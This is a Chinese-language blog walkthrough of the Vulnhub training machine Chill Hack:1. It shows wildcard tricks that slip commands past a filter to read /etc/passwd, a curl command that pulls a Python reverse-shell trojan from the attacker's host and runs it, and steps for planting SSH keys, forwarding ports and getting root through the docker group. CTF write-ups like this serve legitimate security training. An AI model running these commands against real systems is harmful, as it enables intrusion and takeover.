Windy's little blog

一切生活中的杂七杂八, and I like CTF.

Vulnhub靶机Chill Hack:1的Walkthrough(命令filter绕过,docker提权)

    Chill Hack:1的评级是初级到中级,下载地址是https://www.vulnhub.com/entry/chill-hack-1,622/。

    感觉这个靶机难度不算特别大,但涉及的内容还算丰富,所以写一下walkthrough。

    首先用Vmware加载靶机,运行后找到IP地址。用nmap进行扫描:

    图片.png%

    可以发现,开了21、22和80三个端口,且21端口可以匿名登录。ftp匿名登录21端口后,里面有一个note.txt,提示命令行有字符串过滤:

    图片.png

    用浏览器打开80端口后,发现就是一个静态页面,没有什么值得深入的地方。于是后台暴力搜索目录:

gobuster dir -u http://192.168.53.105 -t 50  -x .php,.html,.txt,.htm,.log -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -b 403,404 --wildcard -o 80.log

    发现如下目录,其中,大部分是静态页面,但有个secret目录值得关注。

    图片.png

    进入secret目录,就是一个执行命令的界面,试了一下,可以执行bash命令。

    图片.png

    但是对于nc,python等命令,都进行了屏蔽,看来进行了字符串过滤(刚才的提示里也说了)。绕过字符串过滤的方法较多,本例中可以用最简单的通配符方法。比如

/bin/cat /etc/passwd

   可以表示为如下:

/???/c?t /e?c/p?ss??

   执行以后可以成功。现在就考虑如何反弹shell了。尝试了几种方法以后,决定采用在靶机执行curl下载一个python木马,再反弹回本机的方法。首先确定python的版本和位置:

/??r/??n/p?????3 --version

   执行成功,这样就确定了python的版本和位置。

   图片.png

   由于网站当前目录不可写,可以把木马下载到/tmp目录,然后再执行。同时,本机监听相应端口,执行后反弹shell成功。

 /??r/??n/c??l  http://192.168.53.100/r.py -o  /tmp/r.py
 /??r/??n/p?????3 /tmp/r.py

  图片.png

  进入/home目录,发现有三个用户:anurodh、apaar、aurick,只有中间那个apaar的目录可以进入,进入home目录发现文件.helpline.sh,且sudo -l可以以apaar身份执行该脚本。

  图片.png

  查看.helpline.sh,发现该脚本需要让用户输入两个字符串,其中,第二个字符串,也就是$msg,可以作为命令执行。这样,我们可以以apaar的身份获得bash。

  图片.png


  由于现在我们是apaar用户了,我们可以通过在.ssh目录里上传authorized_keys,得到ssh连接,不用再web反弹shell了。

  图片.png

  以apaar身份进入以后,查询了很多信息,都没有发现可利用的信息,也没有suid可以利用。经过一番寻找,发现刚才登录的网站在/var/www/html/里,但在/var/www/files里还有一些网站文件,其中,index.php里包含了一个数据库密码。

  图片.png

  尝试以该账户登录mysql,可以进一步得到两个用户名和密码:

   图片.png


   通过在线md5解密,可以得到两个密码,但是这两个密码均不能用于su切换用户。这里卡了一段时间以后,突然想到,既然有mysql服务,是否应该查看一下还有什么端口开着,果然,找到了9001端口。

   图片.png


   这里的9001端口只对127.0.0.1开放,无法从外部访问,因此需要用端口转发。Linux下端口转发的方法较多,这里用socat,但靶机未安装socat,需要把socat上传到tmp目录下再运行。这里,我把仅本机访问的9001端口转发到9002端口:

cd /tmp
./socat TCP-LISTEN:9002,fork,reuseaddr tcp:127.0.0.1:9001 &

   从浏览器打开9002端口后,发现是一个登录界面:

   图片.png

  用刚才mysql里得到的用户名和密码,可以登录(原来/var/tmp/files是这个网站的文件)。得到另一个界面和一段提示:"

  图片.png


  思考一会儿,会不会和这个图片相关?于是将这个图片另存至本地,然后用steghide解码,看看里面是否隐藏有文件。果然,解码出了backup.zip,但是需要解压密码。这里用fcrackzip解密:

  图片.png

  解压后,得到source_code.php,查看文件,发现另一个密码。用这个密码可以登录anurodh。从ssh登录后,浏览了一阵,发现anurodh属于docker组,且本机就有alpine:

  图片.png


  最后一步就很直接了,利用docker得到root权限!

  图片.png

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0